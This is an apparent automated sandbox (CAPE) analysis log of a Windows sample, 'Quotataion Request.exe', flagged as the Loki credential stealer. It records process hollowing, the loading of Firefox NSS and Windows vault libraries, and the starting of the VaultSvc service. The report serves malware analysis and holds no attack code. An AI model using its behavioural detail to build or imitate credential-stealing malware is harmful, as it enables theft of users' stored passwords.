Detections

Yara:

Loki

Analysis

Category Package Started Completed Duration Options Log
FILE exe 2020-07-19 10:25:11 2020-07-19 10:30:02 291 seconds Show Options Show Log
route = tor
2020-05-13 09:30:37,625 [root] INFO: Date set to: 20200719T10:25:10, timeout set to: 200
2020-07-19 10:25:10,062 [root] DEBUG: Starting analyzer from: C:\tmplodztmkc
2020-07-19 10:25:10,062 [root] DEBUG: Storing results at: C:\DPOuBl
2020-07-19 10:25:10,078 [root] DEBUG: Pipe server name: \\.\PIPE\WlQMEO
2020-07-19 10:25:10,078 [root] DEBUG: Python path: C:\Users\Louise\AppData\Local\Programs\Python\Python38-32
2020-07-19 10:25:10,078 [root] DEBUG: No analysis package specified, trying to detect it automagically.
2020-07-19 10:25:10,078 [root] INFO: Automatically selected analysis package "exe"
2020-07-19 10:25:10,078 [root] DEBUG: Trying to import analysis package "exe"...
2020-07-19 10:25:10,125 [root] DEBUG: Imported analysis package "exe".
2020-07-19 10:25:10,125 [root] DEBUG: Trying to initialize analysis package "exe"...
2020-07-19 10:25:10,125 [root] DEBUG: Initialized analysis package "exe".
2020-07-19 10:25:10,187 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.browser"...
2020-07-19 10:25:10,187 [root] DEBUG: Imported auxiliary module "modules.auxiliary.browser".
2020-07-19 10:25:10,187 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.curtain"...
2020-07-19 10:25:10,187 [root] DEBUG: Imported auxiliary module "modules.auxiliary.curtain".
2020-07-19 10:25:10,187 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.digisig"...
2020-07-19 10:25:10,203 [root] DEBUG: Imported auxiliary module "modules.auxiliary.digisig".
2020-07-19 10:25:10,203 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.disguise"...
2020-07-19 10:25:10,218 [root] DEBUG: Imported auxiliary module "modules.auxiliary.disguise".
2020-07-19 10:25:10,218 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.human"...
2020-07-19 10:25:10,218 [root] DEBUG: Imported auxiliary module "modules.auxiliary.human".
2020-07-19 10:25:10,218 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.procmon"...
2020-07-19 10:25:10,234 [root] DEBUG: Imported auxiliary module "modules.auxiliary.procmon".
2020-07-19 10:25:10,234 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.screenshots"...
2020-07-19 10:25:10,234 [modules.auxiliary.screenshots] DEBUG: Importing 'time'
2020-07-19 10:25:10,234 [modules.auxiliary.screenshots] DEBUG: Importing 'StringIO'
2020-07-19 10:25:10,234 [modules.auxiliary.screenshots] DEBUG: Importing 'Thread'
2020-07-19 10:25:10,234 [modules.auxiliary.screenshots] DEBUG: Importing 'Auxiliary'
2020-07-19 10:25:10,234 [modules.auxiliary.screenshots] DEBUG: Importing 'NetlogFile'
2020-07-19 10:25:10,234 [modules.auxiliary.screenshots] DEBUG: Importing 'Screenshot'
2020-07-19 10:25:10,234 [lib.api.screenshot] DEBUG: Importing 'math'
2020-07-19 10:25:10,234 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageChops'
2020-07-19 10:25:10,562 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageGrab'
2020-07-19 10:25:10,562 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageDraw'
2020-07-19 10:25:10,562 [modules.auxiliary.screenshots] DEBUG: Imports OK
2020-07-19 10:25:10,562 [root] DEBUG: Imported auxiliary module "modules.auxiliary.screenshots".
2020-07-19 10:25:10,562 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.sysmon"...
2020-07-19 10:25:10,578 [root] DEBUG: Imported auxiliary module "modules.auxiliary.sysmon".
2020-07-19 10:25:10,578 [root] DEBUG: Trying to import auxiliary module "modules.auxiliary.usage"...
2020-07-19 10:25:10,578 [root] DEBUG: Imported auxiliary module "modules.auxiliary.usage".
2020-07-19 10:25:10,578 [root] DEBUG: Trying to initialize auxiliary module "Browser"...
2020-07-19 10:25:10,578 [root] DEBUG: Initialized auxiliary module "Browser".
2020-07-19 10:25:10,578 [root] DEBUG: Trying to start auxiliary module "Browser"...
2020-07-19 10:25:10,593 [root] DEBUG: Started auxiliary module Browser
2020-07-19 10:25:10,593 [root] DEBUG: Trying to initialize auxiliary module "Curtain"...
2020-07-19 10:25:10,593 [root] DEBUG: Initialized auxiliary module "Curtain".
2020-07-19 10:25:10,593 [root] DEBUG: Trying to start auxiliary module "Curtain"...
2020-07-19 10:25:10,593 [root] DEBUG: Started auxiliary module Curtain
2020-07-19 10:25:10,593 [root] DEBUG: Trying to initialize auxiliary module "DigiSig"...
2020-07-19 10:25:10,593 [root] DEBUG: Initialized auxiliary module "DigiSig".
2020-07-19 10:25:10,593 [root] DEBUG: Trying to start auxiliary module "DigiSig"...
2020-07-19 10:25:10,593 [modules.auxiliary.digisig] DEBUG: Checking for a digital signature.
2020-07-19 10:25:10,984 [modules.auxiliary.digisig] DEBUG: File is not signed.
2020-07-19 10:25:11,000 [modules.auxiliary.digisig] INFO: Uploading signature results to aux/DigiSig.json
2020-07-19 10:25:11,000 [root] DEBUG: Started auxiliary module DigiSig
2020-07-19 10:25:11,000 [root] DEBUG: Trying to initialize auxiliary module "Disguise"...
2020-07-19 10:25:11,000 [root] DEBUG: Initialized auxiliary module "Disguise".
2020-07-19 10:25:11,000 [root] DEBUG: Trying to start auxiliary module "Disguise"...
2020-07-19 10:25:11,015 [root] DEBUG: Started auxiliary module Disguise
2020-07-19 10:25:11,015 [root] DEBUG: Trying to initialize auxiliary module "Human"...
2020-07-19 10:25:11,015 [root] DEBUG: Initialized auxiliary module "Human".
2020-07-19 10:25:11,015 [root] DEBUG: Trying to start auxiliary module "Human"...
2020-07-19 10:25:11,031 [root] DEBUG: Started auxiliary module Human
2020-07-19 10:25:11,031 [root] DEBUG: Trying to initialize auxiliary module "Procmon"...
2020-07-19 10:25:11,031 [root] DEBUG: Initialized auxiliary module "Procmon".
2020-07-19 10:25:11,031 [root] DEBUG: Trying to start auxiliary module "Procmon"...
2020-07-19 10:25:11,031 [root] DEBUG: Started auxiliary module Procmon
2020-07-19 10:25:11,031 [root] DEBUG: Trying to initialize auxiliary module "Screenshots"...
2020-07-19 10:25:11,031 [root] DEBUG: Initialized auxiliary module "Screenshots".
2020-07-19 10:25:11,031 [root] DEBUG: Trying to start auxiliary module "Screenshots"...
2020-07-19 10:25:11,031 [root] DEBUG: Started auxiliary module Screenshots
2020-07-19 10:25:11,031 [root] DEBUG: Trying to initialize auxiliary module "Sysmon"...
2020-07-19 10:25:11,046 [root] DEBUG: Initialized auxiliary module "Sysmon".
2020-07-19 10:25:11,046 [root] DEBUG: Trying to start auxiliary module "Sysmon"...
2020-07-19 10:25:11,046 [root] DEBUG: Started auxiliary module Sysmon
2020-07-19 10:25:11,046 [root] DEBUG: Trying to initialize auxiliary module "Usage"...
2020-07-19 10:25:11,046 [root] DEBUG: Initialized auxiliary module "Usage".
2020-07-19 10:25:11,046 [root] DEBUG: Trying to start auxiliary module "Usage"...
2020-07-19 10:25:11,046 [root] DEBUG: Started auxiliary module Usage
2020-07-19 10:25:11,046 [root] INFO: Analyzer: Package modules.packages.exe does not specify a DLL option
2020-07-19 10:25:11,046 [root] INFO: Analyzer: Package modules.packages.exe does not specify a DLL_64 option
2020-07-19 10:25:11,046 [root] INFO: Analyzer: Package modules.packages.exe does not specify a loader option
2020-07-19 10:25:11,046 [root] INFO: Analyzer: Package modules.packages.exe does not specify a loader_64 option
2020-07-19 10:25:11,156 [lib.api.process] INFO: Successfully executed process from path "C:\Users\Louise\AppData\Local\Temp\Quotataion Request.exe" with arguments "" with pid 1912
2020-07-19 10:25:11,156 [lib.api.process] INFO: Monitor config for process 1912: C:\tmplodztmkc\dll\1912.ini
2020-07-19 10:25:11,156 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmplodztmkc\dll\cLBwZcVz.dll, loader C:\tmplodztmkc\bin\mtoMwcA.exe
2020-07-19 10:25:11,218 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\WlQMEO.
2020-07-19 10:25:11,218 [root] DEBUG: Loader: Injecting process 1912 (thread 2224) with C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:11,218 [root] DEBUG: Process image base: 0x00400000
2020-07-19 10:25:11,234 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:11,234 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-07-19 10:25:11,234 [root] DEBUG: Successfully injected DLL C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:11,249 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 1912
2020-07-19 10:25:13,249 [lib.api.process] INFO: Successfully resumed process with pid 1912
2020-07-19 10:25:13,500 [root] DEBUG: Python path set to 'C:\Users\Louise\AppData\Local\Programs\Python\Python38-32'.
2020-07-19 10:25:13,500 [root] DEBUG: Dropped file limit defaulting to 100.
2020-07-19 10:25:13,531 [root] DEBUG: RestoreHeaders: Restored original import table.
2020-07-19 10:25:13,609 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 1912 at 0x6f410000, image base 0x400000, stack from 0x186000-0x190000
2020-07-19 10:25:13,625 [root] DEBUG: Commandline: C:\Users\Louise\AppData\Local\Temp\"C:\Users\Louise\AppData\Local\Temp\Quotataion Request.exe".
2020-07-19 10:25:13,671 [root] INFO: Loaded monitor into process with pid 1912
2020-07-19 10:25:13,687 [root] INFO: Disabling sleep skipping.
2020-07-19 10:25:13,687 [root] INFO: Disabling sleep skipping.
2020-07-19 10:25:13,687 [root] INFO: Disabling sleep skipping.
2020-07-19 10:25:13,687 [root] INFO: Disabling sleep skipping.
2020-07-19 10:25:13,687 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 1912, handle 0xd4.
2020-07-19 10:25:13,828 [root] DEBUG: set_caller_info: Adding region at 0x01ED0000 to caller regions list (ntdll::memcpy).
2020-07-19 10:25:13,828 [root] DEBUG: set_caller_info: Adding region at 0x01F00000 to caller regions list (kernel32::GetSystemTime).
2020-07-19 10:25:13,859 [root] DEBUG: DumpMemory: Exception occured reading memory address 0x1f00000
2020-07-19 10:25:13,859 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x01F00000 size 0x400000.
2020-07-19 10:25:13,859 [root] DEBUG: DumpPEsInRange: Scanning range 0x1f00000 - 0x1f7f000.
2020-07-19 10:25:13,859 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x1f00000-0x1f7f000.
2020-07-19 10:25:14,156 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\DPOuBl\CAPE\1912_90075702513452319072020 (size 0x30626)
2020-07-19 10:25:14,171 [root] DEBUG: DumpRegion: Dumped base address 0x01F00000, size 0x7f000.
2020-07-19 10:25:14,234 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\DPOuBl\CAPE\1912_187708536714452319072020 (size 0x1a)
2020-07-19 10:25:14,234 [root] DEBUG: DumpRegion: Dumped entire allocation from 0x01ED0000, size 0x1000.
2020-07-19 10:25:14,296 [root] INFO: Announced 32-bit process name: Quotataion Request.exe pid: 4760
2020-07-19 10:25:14,296 [lib.api.process] INFO: Monitor config for process 4760: C:\tmplodztmkc\dll\4760.ini
2020-07-19 10:25:14,312 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmplodztmkc\dll\cLBwZcVz.dll, loader C:\tmplodztmkc\bin\mtoMwcA.exe
2020-07-19 10:25:14,343 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\WlQMEO.
2020-07-19 10:25:14,343 [root] DEBUG: Loader: Injecting process 4760 (thread 2472) with C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:14,343 [root] DEBUG: Process image base: 0x00400000
2020-07-19 10:25:14,343 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:14,359 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-07-19 10:25:14,359 [root] DEBUG: Successfully injected DLL C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:14,375 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 4760
2020-07-19 10:25:14,375 [root] DEBUG: DLL loaded at 0x74930000: C:\Windows\system32\apphelp (0x4c000 bytes).
2020-07-19 10:25:14,421 [root] DEBUG: DLL unloaded from 0x00400000.
2020-07-19 10:25:14,437 [root] DEBUG: CreateProcessHandler: using lpCommandLine: "C:\Users\Louise\AppData\Local\Temp\Quotataion Request.exe" .
2020-07-19 10:25:14,437 [root] DEBUG: CreateProcessHandler: Injection info set for new process 4760, ImageBase: 0x00400000
2020-07-19 10:25:14,437 [root] INFO: Announced 32-bit process name: Quotataion Request.exe pid: 4760
2020-07-19 10:25:14,437 [lib.api.process] INFO: Monitor config for process 4760: C:\tmplodztmkc\dll\4760.ini
2020-07-19 10:25:14,437 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmplodztmkc\dll\cLBwZcVz.dll, loader C:\tmplodztmkc\bin\mtoMwcA.exe
2020-07-19 10:25:14,468 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\WlQMEO.
2020-07-19 10:25:14,484 [root] DEBUG: Loader: Injecting process 4760 (thread 2472) with C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:14,484 [root] DEBUG: Process image base: 0x00400000
2020-07-19 10:25:14,484 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:14,484 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2020-07-19 10:25:14,484 [root] DEBUG: Successfully injected DLL C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:14,484 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 4760
2020-07-19 10:25:14,500 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x120 and local view 0x03C50000 to global list.
2020-07-19 10:25:14,500 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x120 to target process 4760.
2020-07-19 10:25:14,500 [root] INFO: Announced 32-bit process name: Quotataion Request.exe pid: 4760
2020-07-19 10:25:14,500 [lib.api.process] INFO: Monitor config for process 4760: C:\tmplodztmkc\dll\4760.ini
2020-07-19 10:25:14,500 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmplodztmkc\dll\cLBwZcVz.dll, loader C:\tmplodztmkc\bin\mtoMwcA.exe
2020-07-19 10:25:14,515 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\WlQMEO.
2020-07-19 10:25:14,531 [root] DEBUG: Loader: Injecting process 4760 (thread 0) with C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:14,531 [root] DEBUG: InjectDll: No thread ID supplied. Initial thread ID 2472, handle 0xbc
2020-07-19 10:25:14,531 [root] DEBUG: Process image base: 0x00400000
2020-07-19 10:25:14,531 [root] DEBUG: InjectDllViaIAT: Executable DOS header zero.
2020-07-19 10:25:14,531 [root] DEBUG: Successfully injected DLL C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:14,531 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 4760
2020-07-19 10:25:14,546 [root] DEBUG: SetThreadContextHandler: Hollow process entry point reset via NtSetContextThread to 0x000139DE (process 4760).
2020-07-19 10:25:14,546 [root] INFO: Announced 32-bit process name: Quotataion Request.exe pid: 4760
2020-07-19 10:25:14,546 [lib.api.process] INFO: Monitor config for process 4760: C:\tmplodztmkc\dll\4760.ini
2020-07-19 10:25:14,546 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmplodztmkc\dll\cLBwZcVz.dll, loader C:\tmplodztmkc\bin\mtoMwcA.exe
2020-07-19 10:25:14,578 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\WlQMEO.
2020-07-19 10:25:14,578 [root] DEBUG: Loader: Injecting process 4760 (thread 2472) with C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:14,578 [root] DEBUG: Process image base: 0x00400000
2020-07-19 10:25:14,578 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:14,578 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-07-19 10:25:14,593 [root] DEBUG: Successfully injected DLL C:\tmplodztmkc\dll\cLBwZcVz.dll.
2020-07-19 10:25:14,625 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 4760
2020-07-19 10:25:14,625 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00400000.
2020-07-19 10:25:14,703 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x18200.
2020-07-19 10:25:14,734 [root] DEBUG: ResumeThreadHandler: Dumped PE image from buffer.
2020-07-19 10:25:14,734 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 4760.
2020-07-19 10:25:14,750 [root] DEBUG: DumpSectionViewsForPid: Shared section view found with pid 4760, local address 0x03C50000.
2020-07-19 10:25:14,750 [root] DEBUG: ScanForDisguisedPE: PE image located at: 0x3c50000
2020-07-19 10:25:14,750 [root] DEBUG: DumpSectionViewsForPid: Dumping PE image from shared section view, local address 0x03C50000.
2020-07-19 10:25:14,750 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump virtual PE image.
2020-07-19 10:25:14,750 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x03C50000.
2020-07-19 10:25:14,750 [root] DEBUG: DumpProcess: Module entry point VA is 0x000139DE.
2020-07-19 10:25:14,765 [root] DEBUG: readPeSectionsFromProcess: Failed to relocate image back to header image base 0x00400000.
2020-07-19 10:25:14,796 [root] DEBUG: DLL unloaded from 0x76AB0000.
2020-07-19 10:25:14,828 [root] DEBUG: Python path set to 'C:\Users\Louise\AppData\Local\Programs\Python\Python38-32'.
2020-07-19 10:25:14,906 [root] DEBUG: DLL loaded at 0x74130000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2020-07-19 10:25:14,937 [root] DEBUG: DLL loaded at 0x74040000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2020-07-19 10:25:14,968 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xfc and local view 0x6F0F0000 to global list.
2020-07-19 10:25:14,968 [root] DEBUG: DLL loaded at 0x6F0F0000: C:\Program Files (x86)\Mozilla Firefox\nss3 (0x22f000 bytes).
2020-07-19 10:25:15,000 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x6F390000 for section view with handle 0xfc.
2020-07-19 10:25:15,000 [root] DEBUG: DLL loaded at 0x6F390000: C:\Program Files (x86)\Mozilla Firefox\mozglue (0x71000 bytes).
2020-07-19 10:25:15,015 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xf4 and local view 0x761F0000 to global list.
2020-07-19 10:25:15,046 [root] DEBUG: DLL loaded at 0x761F0000: C:\Windows\syswow64\CRYPT32 (0x122000 bytes).
2020-07-19 10:25:15,046 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x76AA0000 for section view with handle 0xf4.
2020-07-19 10:25:15,093 [root] DEBUG: DLL loaded at 0x76AA0000: C:\Windows\syswow64\MSASN1 (0xc000 bytes).
2020-07-19 10:25:15,093 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x73390000 for section view with handle 0xfc.
2020-07-19 10:25:15,203 [root] DEBUG: DLL loaded at 0x73390000: C:\Windows\system32\VERSION (0x9000 bytes).
2020-07-19 10:25:15,218 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x75F10000 for section view with handle 0xf4.
2020-07-19 10:25:15,296 [root] DEBUG: DLL loaded at 0x75F10000: C:\Windows\syswow64\WINTRUST (0x2f000 bytes).
2020-07-19 10:25:15,343 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74420000 for section view with handle 0xfc.
2020-07-19 10:25:15,375 [root] DEBUG: DLL loaded at 0x74420000: C:\Windows\system32\api-ms-win-crt-runtime-l1-1-0 (0x4000 bytes).
2020-07-19 10:25:15,390 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74340000 for section view with handle 0xfc.
2020-07-19 10:25:15,421 [root] DEBUG: DLL loaded at 0x74340000: C:\Windows\system32\ucrtbase (0xe0000 bytes).
2020-07-19 10:25:15,421 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74330000 for section view with handle 0xfc.
2020-07-19 10:25:15,437 [root] DEBUG: DLL loaded at 0x74330000: C:\Windows\system32\api-ms-win-core-timezone-l1-1-0 (0x3000 bytes).
2020-07-19 10:25:15,437 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x742F0000 for section view with handle 0xfc.
2020-07-19 10:25:15,468 [root] DEBUG: DLL loaded at 0x742F0000: C:\Windows\system32\api-ms-win-core-file-l2-1-0 (0x3000 bytes).
2020-07-19 10:25:15,468 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x742E0000 for section view with handle 0xfc.
2020-07-19 10:25:15,515 [root] DEBUG: DLL loaded at 0x742E0000: C:\Windows\system32\api-ms-win-core-localization-l1-2-0 (0x3000 bytes).
2020-07-19 10:25:15,515 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x742D0000 for section view with handle 0xfc.
2020-07-19 10:25:15,562 [root] DEBUG: DLL loaded at 0x742D0000: C:\Windows\system32\api-ms-win-core-processthreads-l1-1-1 (0x3000 bytes).
2020-07-19 10:25:15,562 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x742C0000 for section view with handle 0xfc.
2020-07-19 10:25:15,609 [root] DEBUG: DLL loaded at 0x742C0000: C:\Windows\system32\api-ms-win-core-file-l1-2-0 (0x3000 bytes).
2020-07-19 10:25:15,609 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x742B0000 for section view with handle 0xfc.
2020-07-19 10:25:15,656 [root] DEBUG: DLL loaded at 0x742B0000: C:\Windows\system32\api-ms-win-crt-string-l1-1-0 (0x4000 bytes).
2020-07-19 10:25:15,656 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74290000 for section view with handle 0xfc.
2020-07-19 10:25:15,703 [root] DEBUG: DLL loaded at 0x74290000: C:\Windows\system32\api-ms-win-crt-heap-l1-1-0 (0x3000 bytes).
2020-07-19 10:25:15,703 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74280000 for section view with handle 0xfc.
2020-07-19 10:25:15,750 [root] DEBUG: DLL loaded at 0x74280000: C:\Windows\system32\api-ms-win-crt-stdio-l1-1-0 (0x4000 bytes).
2020-07-19 10:25:15,750 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74270000 for section view with handle 0xfc.
2020-07-19 10:25:15,750 [root] DEBUG: DLL loaded at 0x74270000: C:\Windows\system32\api-ms-win-crt-convert-l1-1-0 (0x4000 bytes).
2020-07-19 10:25:15,796 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74250000 for section view with handle 0xfc.
2020-07-19 10:25:15,843 [root] DEBUG: DLL loaded at 0x74250000: C:\Windows\system32\api-ms-win-crt-locale-l1-1-0 (0x3000 bytes).
2020-07-19 10:25:15,843 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74260000 for section view with handle 0xfc.
2020-07-19 10:25:15,875 [root] DEBUG: DLL loaded at 0x74260000: C:\Windows\system32\api-ms-win-crt-math-l1-1-0 (0x5000 bytes).
2020-07-19 10:25:16,312 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x6F380000 for section view with handle 0xfc.
2020-07-19 10:25:16,359 [root] DEBUG: DLL loaded at 0x6F380000: C:\Windows\system32\api-ms-win-crt-multibyte-l1-1-0 (0x5000 bytes).
2020-07-19 10:25:16,421 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74240000 for section view with handle 0xfc.
2020-07-19 10:25:16,453 [root] DEBUG: DLL loaded at 0x74240000: C:\Windows\system32\api-ms-win-crt-time-l1-1-0 (0x3000 bytes).
2020-07-19 10:25:16,453 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74200000 for section view with handle 0xfc.
2020-07-19 10:25:16,500 [root] DEBUG: DLL loaded at 0x74200000: C:\Windows\system32\api-ms-win-crt-filesystem-l1-1-0 (0x3000 bytes).
2020-07-19 10:25:16,500 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74220000 for section view with handle 0xfc.
2020-07-19 10:25:16,546 [root] DEBUG: DLL loaded at 0x74220000: C:\Windows\system32\api-ms-win-crt-environment-l1-1-0 (0x3000 bytes).
2020-07-19 10:25:16,546 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x74320000 for section view with handle 0xfc.
2020-07-19 10:25:16,562 [root] DEBUG: DLL loaded at 0x74320000: C:\Windows\system32\api-ms-win-crt-utility-l1-1-0 (0x3000 bytes).
2020-07-19 10:25:16,562 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x6F010000 for section view with handle 0xfc.
2020-07-19 10:25:16,609 [root] DEBUG: DLL loaded at 0x6F010000: C:\Windows\system32\WINMM (0x32000 bytes).
2020-07-19 10:25:16,640 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x6F000000 for section view with handle 0xfc.
2020-07-19 10:25:16,671 [root] DEBUG: DLL loaded at 0x6F000000: C:\Windows\system32\WSOCK32 (0x7000 bytes).
2020-07-19 10:25:16,703 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x12c and local view 0x6EFC0000 to global list.
2020-07-19 10:25:16,718 [root] DEBUG: DLL loaded at 0x6EFC0000: C:\Program Files (x86)\Mozilla Firefox\softokn3 (0x37000 bytes).
2020-07-19 10:25:16,734 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x6EF50000 for section view with handle 0x12c.
2020-07-19 10:25:16,750 [root] DEBUG: DLL loaded at 0x6EF50000: C:\Program Files (x86)\Mozilla Firefox\freebl3 (0x6f000 bytes).
2020-07-19 10:25:16,859 [root] DEBUG: DLL unloaded from 0x6EF50000.
2020-07-19 10:25:16,921 [root] DEBUG: DLL unloaded from 0x6EFC0000.
2020-07-19 10:25:16,937 [root] DEBUG: DLL unloaded from 0x6F0F0000.
2020-07-19 10:25:16,937 [root] DEBUG: DLL unloaded from 0x731E0000.
2020-07-19 10:25:16,937 [root] DEBUG: DLL unloaded from 0x763D0000.
2020-07-19 10:25:17,093 [root] DEBUG: DLL unloaded from 0x731E0000.
2020-07-19 10:25:18,015 [root] DEBUG: DLL loaded at 0x6F9A0000: C:\Windows\system32\vaultcli (0xc000 bytes).
2020-07-19 10:25:18,968 [root] INFO: Announced starting service "b'VaultSvc'"
2020-07-19 10:25:19,031 [lib.api.process] INFO: Monitor config for process 472: C:\tmplodztmkc\dll\472.ini
2020-07-19 10:25:19,109 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmplodztmkc\dll\giflJt.dll, loader C:\tmplodztmkc\bin\CVZXpYvG.exe
2020-07-19 10:25:19,171 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\WlQMEO.
2020-07-19 10:25:19,171 [root] DEBUG: Loader: Injecting process 472 (thread 0) with C:\tmplodztmkc\dll\giflJt.dll.
2020-07-19 10:25:19,187 [root] DEBUG: InjectDll: No thread ID supplied. Initial thread ID 4796, handle 0xa4
2020-07-19 10:25:19,187 [root] DEBUG: Process image base: 0x00000000FF540000
2020-07-19 10:25:19,203 [root] DEBUG: InjectDllViaIAT: Not a new process, aborting IAT patch
2020-07-19 10:25:19,203 [root] DEBUG: InjectDll: IAT patching failed, falling back to thread injection.
2020-07-19 10:25:19,328 [root] DEBUG: Python path set to 'C:\Users\Louise\AppData\Local\Programs\Python\Python38-32'.
2020-07-19 10:25:19,343 [root] DEBUG: Dropped file limit defaulting to 100.
2020-07-19 10:25:19,359 [root] INFO: Disabling sleep skipping.
2020-07-19 10:25:19,375 [root] DEBUG: CAPE initialised: 64-bit monitor loaded in process 472 at 0x000007FEF0090000, image base 0x00000000FF540000, stack from 0x0000000002C06000-0x0000000002C10000
2020-07-19 10:25:19,375 [root] DEBUG: Commandline: C:\Windows\sysnative\services.exe.
2020-07-19 10:25:19,421 [root] WARNING: b'Unable to place hook on LockResource'
2020-07-19 10:25:19,421 [root] WARNING: b'Unable to hook LockResource'
2020-07-19 10:25:19,453 [root] INFO: Loaded monitor into process with pid 472
2020-07-19 10:25:19,468 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2020-07-19 10:25:19,468 [root] DEBUG: InjectDll: Successfully injected DLL via thread.
2020-07-19 10:25:19,468 [root] DEBUG: Successfully injected DLL C:\tmplodztmkc\dll\giflJt.dll.
2020-07-19 10:25:20,515 [root] INFO: Announced 64-bit process name: lsass.exe pid: 3808
2020-07-19 10:25:20,515 [lib.api.process] INFO: Monitor config for process 3808: C:\tmplodztmkc\dll\3808.ini
2020-07-19 10:25:20,531 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmplodztmkc\dll\giflJt.dll, loader C:\tmplodztmkc\bin\CVZXpYvG.exe
2020-07-19 10:25:20,562 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\WlQMEO.
2020-07-19 10:25:20,593 [root] DEBUG: Loader: Injecting process 3808 (thread 3724) with C:\tmplodztmkc\dll\giflJt.dll.
2020-07-19 10:25:20,593 [root] DEBUG: Process image base: 0x00000000FFA50000
2020-07-19 10:25:20,593 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmplodztmkc\dll\giflJt.dll.
2020-07-19 10:25:20,609 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
